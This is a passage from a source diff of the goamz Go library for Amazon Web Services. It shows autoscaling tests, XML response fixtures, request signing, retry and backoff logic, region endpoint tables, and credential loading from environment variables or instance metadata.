resp, err := s.autoscaling.CreateLaunchConfiguration(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"CreateLaunchConfiguration"})
c.Assert(req.Form["InstanceType"], DeepEquals, []string{"m1.small"})
c.Assert(req.Form["SecurityGroups.member.1"], DeepEquals, []string{"sg-1111"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "7c6e177f-f082-11e1-ac58-3714bEXAMPLE")
}
func (s *S) Test_DescribeAutoScalingGroups(c *C) {
testServer.Response(200, nil, DescribeAutoScalingGroupsExample)
options := autoscaling.DescribeAutoScalingGroups{
Names: []string{"foobar"},
}
resp, err := s.autoscaling.DescribeAutoScalingGroups(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"DescribeAutoScalingGroups"})
c.Assert(req.Form["AutoScalingGroupNames.member.1"], DeepEquals, []string{"foobar"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "0f02a07d-b677-11e2-9eb0-dd50EXAMPLE")
c.Assert(resp.AutoScalingGroups[0].Name, Equals, "my-test-asg-lbs")
c.Assert(resp.AutoScalingGroups[0].LaunchConfigurationName, Equals, "my-test-lc")
}
func (s *S) Test_DescribeLaunchConfigurations(c *C) {
testServer.Response(200, nil, DescribeLaunchConfigurationsExample)
options := autoscaling.DescribeLaunchConfigurations{
Names: []string{"foobar"},
}
resp, err := s.autoscaling.DescribeLaunchConfigurations(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"DescribeLaunchConfigurations"})
c.Assert(req.Form["LaunchConfigurationNames.member.1"], DeepEquals, []string{"foobar"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "d05a22f8-b690-11e2-bf8e-2113fEXAMPLE")
c.Assert(resp.LaunchConfigurations[0].InstanceType, Equals, "m1.small")
}
func (s *S) TestDeleteAutoScalingGroup(c *C) {
testServer.Response(200, nil, DeleteAutoScalingGroupExample)
options := autoscaling.DeleteAutoScalingGroup{
Name: "foobar",
ForceDelete: true,
}
resp, err := s.autoscaling.DeleteAutoScalingGroup(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"DeleteAutoScalingGroup"})
c.Assert(req.Form["AutoScalingGroupName"], DeepEquals, []string{"foobar"})
c.Assert(req.Form["ForceDelete"], DeepEquals, []string{"true"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "70a76d42-9665-11e2-9fdf-211deEXAMPLE")
}
func (s *S) TestDeleteLaunchConfiguration(c *C) {
testServer.Response(200, nil, DeleteLaunchConfigurationExample)
options := autoscaling.DeleteLaunchConfiguration{
Name: "foobar",
}
resp, err := s.autoscaling.DeleteLaunchConfiguration(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"DeleteLaunchConfiguration"})
c.Assert(req.Form["LaunchConfigurationName"], DeepEquals, []string{"foobar"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "7347261f-97df-11e2-8756-35eEXAMPLE")
}
func (s *S) Test_UpdateAutoScalingGroup(c *C) {
testServer.Response(200, nil, UpdateAutoScalingGroupExample)
options := autoscaling.UpdateAutoScalingGroup{
AvailZone: []string{"us-east-1a"},
DefaultCooldown: 30,
Name: "bar",
SetDefaultCooldown: true,
}
resp, err := s.autoscaling.UpdateAutoScalingGroup(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"UpdateAutoScalingGroup"})
c.Assert(req.Form["AutoScalingGroupName"], DeepEquals, []string{"bar"})
c.Assert(req.Form["DefaultCooldown"], DeepEquals, []string{"30"})
c.Assert(req.Form["MinSize"], IsNil)
c.Assert(req.Form["MaxSize"], IsNil)
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "adafead0-ab8a-11e2-ba13-ab0ccEXAMPLE")
}
@@ -0,0 +1,117 @@
package autoscaling_test
var ErrorDump = `
<?xml version="1.0" encoding="UTF-8"?>
<Response><Errors><Error><Code>UnsupportedOperation</Code>
<Message></Message>
</Error></Errors><RequestID>0503f4e9-bbd6-483c-b54f-c4ae9f3b30f4</RequestID></Response>
`
// http://goo.gl/gQRD2H
var CreateAutoScalingGroupExample = `
<CreateAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<ResponseMetadata>
<RequestId>8d798a29-f083-11e1-bdfb-cb223EXAMPLE</RequestId>
</ResponseMetadata>
</CreateAutoScalingGroupResponse>
`
var CreateLaunchConfigurationExample = `
<CreateLaunchConfigurationResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<ResponseMetadata>
<RequestId>7c6e177f-f082-11e1-ac58-3714bEXAMPLE</RequestId>
</ResponseMetadata>
</CreateLaunchConfigurationResponse>
`
var DescribeLaunchConfigurationsExample = `
<DescribeLaunchConfigurationsResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<DescribeLaunchConfigurationsResult>
<LaunchConfigurations>
<member>
<AssociatePublicIpAddress>true</AssociatePublicIpAddress>
<SecurityGroups/>
<PlacementTenancy>dedicated</PlacementTenancy>
<CreatedTime>2013-01-21T23:04:42.200Z</CreatedTime>
<KernelId/>
<LaunchConfigurationName>my-test-lc</LaunchConfigurationName>
<UserData/>
<InstanceType>m1.small</InstanceType>
<LaunchConfigurationARN>arn:aws:autoscaling:us-east-1:803981987763:launchConfiguration:
9dbbbf87-6141-428a-a409-0752edbe6cad:launchConfigurationName/my-test-lc</LaunchConfigurationARN>
<BlockDeviceMappings/>
<ImageId>ami-514ac838</ImageId>
<KeyName/>
<RamdiskId/>
<InstanceMonitoring>
<Enabled>true</Enabled>
</InstanceMonitoring>
<EbsOptimized>false</EbsOptimized>
</member>
</LaunchConfigurations>
</DescribeLaunchConfigurationsResult>
<ResponseMetadata>
<RequestId>d05a22f8-b690-11e2-bf8e-2113fEXAMPLE</RequestId>
</ResponseMetadata>
</DescribeLaunchConfigurationsResponse>
`
var DescribeAutoScalingGroupsExample = `
<DescribeAutoScalingGroupsResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<DescribeAutoScalingGroupsResult>
<AutoScalingGroups>
<member>
<Tags/>
<SuspendedProcesses/>
<AutoScalingGroupName>my-test-asg-lbs</AutoScalingGroupName>
<HealthCheckType>ELB</HealthCheckType>
<CreatedTime>2013-05-06T17:47:15.107Z</CreatedTime>
<EnabledMetrics/>
<LaunchConfigurationName>my-test-lc</LaunchConfigurationName>
<Instances/>
<DesiredCapacity>2</DesiredCapacity>
<AvailabilityZones>
<member>us-east-1b</member>
<member>us-east-1a</member>
</AvailabilityZones>
<LoadBalancerNames>
<member>my-test-asg-loadbalancer</member>
</LoadBalancerNames>
<MinSize>2</MinSize>
<VPCZoneIdentifier/>
<HealthCheckGracePeriod>120</HealthCheckGracePeriod>
<DefaultCooldown>300</DefaultCooldown>
<AutoScalingGroupARN>arn:aws:autoscaling:us-east-1:803981987763:autoScalingGroup:ca861182-c8f9-4ca7-b1eb-cd35505f5ebb
:autoScalingGroupName/my-test-asg-lbs</AutoScalingGroupARN>
<TerminationPolicies>
<member>Default</member>
</TerminationPolicies>
<MaxSize>10</MaxSize>
</member>
</AutoScalingGroups>
</DescribeAutoScalingGroupsResult>
<ResponseMetadata>
<RequestId>0f02a07d-b677-11e2-9eb0-dd50EXAMPLE</RequestId>
</ResponseMetadata>
</DescribeAutoScalingGroupsResponse>
`
var DeleteLaunchConfigurationExample = `<DeleteLaunchConfigurationResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<ResponseMetadata>
<RequestId>7347261f-97df-11e2-8756-35eEXAMPLE</RequestId>
</ResponseMetadata>
</DeleteLaunchConfigurationResponse>`
var DeleteAutoScalingGroupExample = `<DeleteAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<ResponseMetadata>
<RequestId>70a76d42-9665-11e2-9fdf-211deEXAMPLE</RequestId>
</ResponseMetadata>
</DeleteAutoScalingGroupResponse>`
var UpdateAutoScalingGroupExample = `
<UpdateAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
<ResponseMetadata>
<RequestId>adafead0-ab8a-11e2-ba13-ab0ccEXAMPLE</RequestId>
</ResponseMetadata>
</UpdateAutoScalingGroupResponse>
`
@@ -0,0 +1,38 @@
package autoscaling
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"github.com/mitchellh/goamz/aws"
"sort"
"strings"
)
// ----------------------------------------------------------------------------
// Version 2 signing (http://goo.gl/RSRp5)
var b64 = base64.StdEncoding
func sign(auth aws.Auth, method, path string, params map[string]string, host string) {
params["AWSAccessKeyId"] = auth.AccessKey
params["SignatureVersion"] = "2"
params["SignatureMethod"] = "HmacSHA256"
if auth.Token != "" {
params["SecurityToken"] = auth.Token
}
var sarray []string
for k, v := range params {
sarray = append(sarray, aws.Encode(k)+"="+aws.Encode(v))
}
sort.StringSlice(sarray).Sort()
joined := strings.Join(sarray, "&")
payload := method + "\n" + host + "\n" + path + "\n" + joined
hash := hmac.New(sha256.New, []byte(auth.SecretKey))
hash.Write([]byte(payload))
signature := make([]byte, b64.EncodedLen(hash.Size()))
b64.Encode(signature, hash.Sum(nil))
params["Signature"] = string(signature)
}
@@ -0,0 +1,74 @@
package aws
import (
"time"
)
// AttemptStrategy represents a strategy for waiting for an action
// to complete successfully. This is an internal type used by the
// implementation of other goamz packages.
type AttemptStrategy struct {
Total time.Duration // total duration of attempt.
Delay time.Duration // interval between each try in the burst.
Min int // minimum number of retries; overrides Total
}
type Attempt struct {
strategy AttemptStrategy
last time.Time
end time.Time
force bool
count int
}
// Start begins a new sequence of attempts for the given strategy.
func (s AttemptStrategy) Start() *Attempt {
now := time.Now()
return &Attempt{
strategy: s,
last: now,
end: now.Add(s.Total),
force: true,
}
}
// Next waits until it is time to perform the next attempt or returns
// false if it is time to stop trying.
func (a *Attempt) Next() bool {
now := time.Now()
sleep := a.nextSleep(now)
if !a.force && !now.Add(sleep).Before(a.end) && a.strategy.Min <= a.count {
return false
}
a.force = false
if sleep > 0 && a.count > 0 {
time.Sleep(sleep)
now = time.Now()
}
a.count++
a.last = now
return true
}
func (a *Attempt) nextSleep(now time.Time) time.Duration {
sleep := a.strategy.Delay - now.Sub(a.last)
if sleep < 0 {
return 0
}
return sleep
}
// HasNext returns whether another attempt will be made if the current
// one fails. If it returns true, the following call to Next is
// guaranteed to return true.
func (a *Attempt) HasNext() bool {
if a.force || a.strategy.Min > a.count {
return true
}
now := time.Now()
if now.Add(a.nextSleep(now)).Before(a.end) {
a.force = true
return true
}
return false
}
@@ -0,0 +1,57 @@
package aws_test
import (
"github.com/mitchellh/goamz/aws"
. "github.com/motain/gocheck"
"time"
)
func (S) TestAttemptTiming(c *C) {
testAttempt := aws.AttemptStrategy{
Total: 0.25e9,
Delay: 0.1e9,
}
want := []time.Duration{0, 0.1e9, 0.2e9, 0.2e9}
got := make([]time.Duration, 0, len(want)) // avoid allocation when testing timing
t0 := time.Now()
for a := testAttempt.Start(); a.Next(); {
got = append(got, time.Now().Sub(t0))
}
got = append(got, time.Now().Sub(t0))
c.Assert(got, HasLen, len(want))
const margin = 0.01e9
for i, got := range want {
lo := want[i] - margin
hi := want[i] + margin
if got < lo || got > hi {
c.Errorf("attempt %d want %g got %g", i, want[i].Seconds(), got.Seconds())
}
}
}
func (S) TestAttemptNextHasNext(c *C) {
a := aws.AttemptStrategy{}.Start()
c.Assert(a.Next(), Equals, true)
c.Assert(a.Next(), Equals, false)
a = aws.AttemptStrategy{}.Start()
c.Assert(a.Next(), Equals, true)
c.Assert(a.HasNext(), Equals, false)
c.Assert(a.Next(), Equals, false)
a = aws.AttemptStrategy{Total: 2e8}.Start()
c.Assert(a.Next(), Equals, true)
c.Assert(a.HasNext(), Equals, true)
time.Sleep(2e8)
c.Assert(a.HasNext(), Equals, true)
c.Assert(a.Next(), Equals, true)
c.Assert(a.Next(), Equals, false)
a = aws.AttemptStrategy{Total: 1e8, Min: 2}.Start()
time.Sleep(1e8)
c.Assert(a.Next(), Equals, true)
c.Assert(a.HasNext(), Equals, true)
c.Assert(a.Next(), Equals, true)
c.Assert(a.HasNext(), Equals, false)
c.Assert(a.Next(), Equals, false)
}
@@ -0,0 +1,352 @@
//
// goamz - Go packages to interact with the Amazon Web Services.
//
// https://wiki.ubuntu.com/goamz
//
// Copyright (c) 2011 Canonical Ltd.
//
// Written by Gustavo Niemeyer <gustavo.niemeyer@canonical.com>
//
package aws
import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
)
// Region defines the URLs where AWS services may be accessed.
//
// See http://goo.gl/d8BP1 for more details.
type Region struct {
Name string // the canonical name of this region.
EC2Endpoint string
S3Endpoint string
S3BucketEndpoint string // Not needed by AWS S3. Use ${bucket} for bucket name.
S3LocationConstraint bool // true if this region requires a LocationConstraint declaration.
S3LowercaseBucket bool // true if the region requires bucket names to be lower case.
SDBEndpoint string
SNSEndpoint string
SQSEndpoint string
IAMEndpoint string
ELBEndpoint string
AutoScalingEndpoint string
RdsEndpoint string
Route53Endpoint string
}
var USGovWest = Region{
"us-gov-west-1",
"https://ec2.us-gov-west-1.amazonaws.com",
"https://s3-fips-us-gov-west-1.amazonaws.com",
"",
true,
true,
"",
"https://sns.us-gov-west-1.amazonaws.com",
"https://sqs.us-gov-west-1.amazonaws.com",
"https://iam.us-gov.amazonaws.com",
"https://elasticloadbalancing.us-gov-west-1.amazonaws.com",
"https://autoscaling.us-gov-west-1.amazonaws.com",
"https://rds.us-gov-west-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var USEast = Region{
"us-east-1",
"https://ec2.us-east-1.amazonaws.com",
"https://s3.amazonaws.com",
"",
false,
false,
"https://sdb.amazonaws.com",
"https://sns.us-east-1.amazonaws.com",
"https://sqs.us-east-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.us-east-1.amazonaws.com",
"https://autoscaling.us-east-1.amazonaws.com",
"https://rds.us-east-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var USWest = Region{
"us-west-1",
"https://ec2.us-west-1.amazonaws.com",
"https://s3-us-west-1.amazonaws.com",
"",
true,
true,
"https://sdb.us-west-1.amazonaws.com",
"https://sns.us-west-1.amazonaws.com",
"https://sqs.us-west-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.us-west-1.amazonaws.com",
"https://autoscaling.us-west-1.amazonaws.com",
"https://rds.us-west-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var USWest2 = Region{
"us-west-2",
"https://ec2.us-west-2.amazonaws.com",
"https://s3-us-west-2.amazonaws.com",
"",
true,
true,
"https://sdb.us-west-2.amazonaws.com",
"https://sns.us-west-2.amazonaws.com",
"https://sqs.us-west-2.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.us-west-2.amazonaws.com",
"https://autoscaling.us-west-2.amazonaws.com",
"https://rds.us-west-2.amazonaws.com",
"https://route53.amazonaws.com",
}
var EUWest = Region{
"eu-west-1",
"https://ec2.eu-west-1.amazonaws.com",
"https://s3-eu-west-1.amazonaws.com",
"",
true,
true,
"https://sdb.eu-west-1.amazonaws.com",
"https://sns.eu-west-1.amazonaws.com",
"https://sqs.eu-west-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.eu-west-1.amazonaws.com",
"https://autoscaling.eu-west-1.amazonaws.com",
"https://rds.eu-west-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var APSoutheast = Region{
"ap-southeast-1",
"https://ec2.ap-southeast-1.amazonaws.com",
"https://s3-ap-southeast-1.amazonaws.com",
"",
true,
true,
"https://sdb.ap-southeast-1.amazonaws.com",
"https://sns.ap-southeast-1.amazonaws.com",
"https://sqs.ap-southeast-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.ap-southeast-1.amazonaws.com",
"https://autoscaling.ap-southeast-1.amazonaws.com",
"https://rds.ap-southeast-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var APSoutheast2 = Region{
"ap-southeast-2",
"https://ec2.ap-southeast-2.amazonaws.com",
"https://s3-ap-southeast-2.amazonaws.com",
"",
true,
true,
"https://sdb.ap-southeast-2.amazonaws.com",
"https://sns.ap-southeast-2.amazonaws.com",
"https://sqs.ap-southeast-2.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.ap-southeast-2.amazonaws.com",
"https://autoscaling.ap-southeast-2.amazonaws.com",
"https://rds.ap-southeast-2.amazonaws.com",
"https://route53.amazonaws.com",
}
var APNortheast = Region{
"ap-northeast-1",
"https://ec2.ap-northeast-1.amazonaws.com",
"https://s3-ap-northeast-1.amazonaws.com",
"",
true,
true,
"https://sdb.ap-northeast-1.amazonaws.com",
"https://sns.ap-northeast-1.amazonaws.com",
"https://sqs.ap-northeast-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.ap-northeast-1.amazonaws.com",
"https://autoscaling.ap-northeast-1.amazonaws.com",
"https://rds.ap-northeast-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var SAEast = Region{
"sa-east-1",
"https://ec2.sa-east-1.amazonaws.com",
"https://s3-sa-east-1.amazonaws.com",
"",
true,
true,
"https://sdb.sa-east-1.amazonaws.com",
"https://sns.sa-east-1.amazonaws.com",
"https://sqs.sa-east-1.amazonaws.com",
"https://iam.amazonaws.com",
"https://elasticloadbalancing.sa-east-1.amazonaws.com",
"https://autoscaling.sa-east-1.amazonaws.com",
"https://rds.sa-east-1.amazonaws.com",
"https://route53.amazonaws.com",
}
var Regions = map[string]Region{
APNortheast.Name: APNortheast,
APSoutheast.Name: APSoutheast,
APSoutheast2.Name: APSoutheast2,
EUWest.Name: EUWest,
USEast.Name: USEast,
USWest.Name: USWest,
USWest2.Name: USWest2,
SAEast.Name: SAEast,
USGovWest.Name: USGovWest,
}
type Auth struct {
AccessKey, SecretKey, Token string
}
var unreserved = make([]bool, 128)
var hex = "0123456789ABCDEF"
func init() {
// RFC3986
u := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890-_.~"
for _, c := range u {
unreserved[c] = true
}
}
type credentials struct {
Code string
LastUpdated string
Type string
AccessKeyId string
SecretAccessKey string
Token string
Expiration string
}
// GetMetaData retrieves instance metadata about the current machine.
//
// See http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AESDG-chapter-instancedata.html for more details.
func GetMetaData(path string) (contents []byte, err error) {
url := "http://169.254.169.254/latest/meta-data/" + path
resp, err := RetryingClient.Get(url)
if err != nil {
return
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
err = fmt.Errorf("Code %d returned for url %s", resp.StatusCode, url)
return
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return
}
return []byte(body), err
}
func getInstanceCredentials() (cred credentials, err error) {
credentialPath := "iam/security-credentials/"
// Get the instance role
role, err := GetMetaData(credentialPath)
if err != nil {
return
}
// Get the instance role credentials
credentialJSON, err := GetMetaData(credentialPath + string(role))
if err != nil {
return
}
err = json.Unmarshal([]byte(credentialJSON), &cred)
return
}
// GetAuth creates an Auth based on either passed in credentials,
// environment information or instance based role credentials.
func GetAuth(accessKey string, secretKey string) (auth Auth, err error) {
// First try passed in credentials
if accessKey != "" && secretKey != "" {
return Auth{accessKey, secretKey, ""}, nil
}
// Next try to get auth from the environment
auth, err = EnvAuth()
if err == nil {
// Found auth, return
return
}
// Next try getting auth from the instance role
cred, err := getInstanceCredentials()
if err == nil {
// Found auth, return
auth.AccessKey = cred.AccessKeyId
auth.SecretKey = cred.SecretAccessKey
auth.Token = cred.Token
return
}
err = errors.New("No valid AWS authentication found")
return
}
// EnvAuth creates an Auth based on environment information.
// The AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment
// variables are used.
func EnvAuth() (auth Auth, err error) {
auth.AccessKey = os.Getenv("AWS_ACCESS_KEY_ID")
if auth.AccessKey == "" {
auth.AccessKey = os.Getenv("AWS_ACCESS_KEY")
}
auth.SecretKey = os.Getenv("AWS_SECRET_ACCESS_KEY")
if auth.SecretKey == "" {
auth.SecretKey = os.Getenv("AWS_SECRET_KEY")
}
if auth.AccessKey == "" {
err = errors.New("AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY not found in environment")
}
if auth.SecretKey == "" {
err = errors.New("AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY not found in environment")
}
return
}
// Encode takes a string and URI-encodes it in a way suitable
// to be used in AWS signatures.
func Encode(s string) string {
encode := false
for i := 0; i != len(s); i++ {
c := s[i]
if c > 127 || !unreserved[c] {
encode = true
break
}
}
if !encode {
return s
}
e := make([]byte, len(s)*3)
ei := 0
for i := 0; i != len(s); i++ {
c := s[i]
if c > 127 || !unreserved[c] {
e[ei] = '%'
e[ei+1] = hex[c>>4]
e[ei+2] = hex[c&0xF]
ei += 3
} else {
e[ei] = c
ei += 1
}
}
return string(e[:ei])
}
@@ -0,0 +1,88 @@
package aws_test
import (
"github.com/mitchellh/goamz/aws"
. "github.com/motain/gocheck"
"os"
"strings"
"testing"
)
func Test(t *testing.T) {
TestingT(t)
}
var _ = Suite(&S{})
type S struct {
environ []string
}
func (s *S) SetUpSuite(c *C) {
s.environ = os.Environ()
}
func (s *S) TearDownTest(c *C) {
os.Clearenv()
for _, kv := range s.environ {
l := strings.SplitN(kv, "=", 2)
os.Setenv(l[0], l[1])
}
}
func (s *S) TestEnvAuthNoSecret(c *C) {
os.Clearenv()
_, err := aws.EnvAuth()
c.Assert(err, ErrorMatches, "AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY not found in environment")
}
func (s *S) TestEnvAuthNoAccess(c *C) {
os.Clearenv()
os.Setenv("AWS_SECRET_ACCESS_KEY", "foo")
_, err := aws.EnvAuth()
c.Assert(err, ErrorMatches, "AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY not found in environment")
}
func (s *S) TestEnvAuth(c *C) {
os.Clearenv()
os.Setenv("AWS_SECRET_ACCESS_KEY", "secret")
os.Setenv("AWS_ACCESS_KEY_ID", "access")
auth, err := aws.EnvAuth()
c.Assert(err, IsNil)
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
}
func (s *S) TestEnvAuthAlt(c *C) {
os.Clearenv()
os.Setenv("AWS_SECRET_KEY", "secret")
os.Setenv("AWS_ACCESS_KEY", "access")
auth, err := aws.EnvAuth()
c.Assert(err, IsNil)
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
}
func (s *S) TestGetAuthStatic(c *C) {
auth, err := aws.GetAuth("access", "secret")
c.Assert(err, IsNil)
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
}
func (s *S) TestGetAuthEnv(c *C) {
os.Clearenv()
os.Setenv("AWS_SECRET_ACCESS_KEY", "secret")
os.Setenv("AWS_ACCESS_KEY_ID", "access")
auth, err := aws.GetAuth("", "")
c.Assert(err, IsNil)
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
}
func (s *S) TestEncode(c *C) {
c.Assert(aws.Encode("foo"), Equals, "foo")
c.Assert(aws.Encode("/"), Equals, "%2F")
}
func (s *S) TestRegionsAreNamed(c *C) {
for n, r := range aws.Regions {
c.Assert(n, Equals, r.Name)
}
}
@@ -0,0 +1,125 @@
package aws
import (
"math"
"net"
"net/http"
"time"
)
type RetryableFunc func(*http.Request, *http.Response, error) bool
type WaitFunc func(try int)
type DeadlineFunc func() time.Time
type ResilientTransport struct {
// Timeout is the maximum amount of time a dial will wait for
// a connect to complete.
//
// The default is no timeout.
//
// With or without a timeout, the operating system may impose
// its own earlier timeout. For instance, TCP timeouts are
// often around 3 minutes.
DialTimeout time.Duration
// MaxTries, if non-zero, specifies the number of times we will retry on
// failure. Retries are only attempted for temporary network errors or known
// safe failures.
MaxTries int
Deadline DeadlineFunc
ShouldRetry RetryableFunc
Wait WaitFunc
transport *http.Transport
}
// Convenience method for creating an http client
func NewClient(rt *ResilientTransport) *http.Client {
rt.transport = &http.Transport{
Dial: func(netw, addr string) (net.Conn, error) {
c, err := net.DialTimeout(netw, addr, rt.DialTimeout)
if err != nil {
return nil, err
}
c.SetDeadline(rt.Deadline())
return c, nil
},
DisableKeepAlives: true,
Proxy: http.ProxyFromEnvironment,
}
// TODO: Would be nice is ResilientTransport allowed clients to initialize
// with http.Transport attributes.
return &http.Client{
Transport: rt,
}
}
var retryingTransport = &ResilientTransport{
Deadline: func() time.Time {
return time.Now().Add(5 * time.Second)
},
DialTimeout: 10 * time.Second,
MaxTries: 3,
ShouldRetry: awsRetry,
Wait: ExpBackoff,
}
// Exported default client
var RetryingClient = NewClient(retryingTransport)
func (t *ResilientTransport) RoundTrip(req *http.Request) (*http.Response, error) {
return t.tries(req)
}
// Retry a request a maximum of t.MaxTries times.
// We'll only retry if the proper criteria are met.
// If a wait function is specified, wait that amount of time
// In between requests.
func (t *ResilientTransport) tries(req *http.Request) (res *http.Response, err error) {
for try := 0; try < t.MaxTries; try += 1 {
res, err = t.transport.RoundTrip(req)
if !t.ShouldRetry(req, res, err) {
break
}
if res != nil {
res.Body.Close()
}
if t.Wait != nil {
t.Wait(try)
}
}
return
}
func ExpBackoff(try int) {
time.Sleep(100 * time.Millisecond *
time.Duration(math.Exp2(float64(try))))
}
func LinearBackoff(try int) {
time.Sleep(time.Duration(try*100) * time.Millisecond)
}
// Decide if we should retry a request.
// In general, the criteria for retrying a request is described here
// http://docs.aws.amazon.com/general/latest/gr/api-retries.html
func awsRetry(req *http.Request, res *http.Response, err error) bool {
retry := false
// Retry if there's a temporary network error.
if neterr, ok := err.(net.Error); ok {
if neterr.Temporary() {
retry = true
}
}
// Retry if we get a 5xx series error.
if res != nil {
if res.StatusCode >= 500 && res.StatusCode < 600 {
retry = true
}
}
return retry
}
Loaded 100 of 492 files, more files were not shown because too many files have changed in this diff. Show more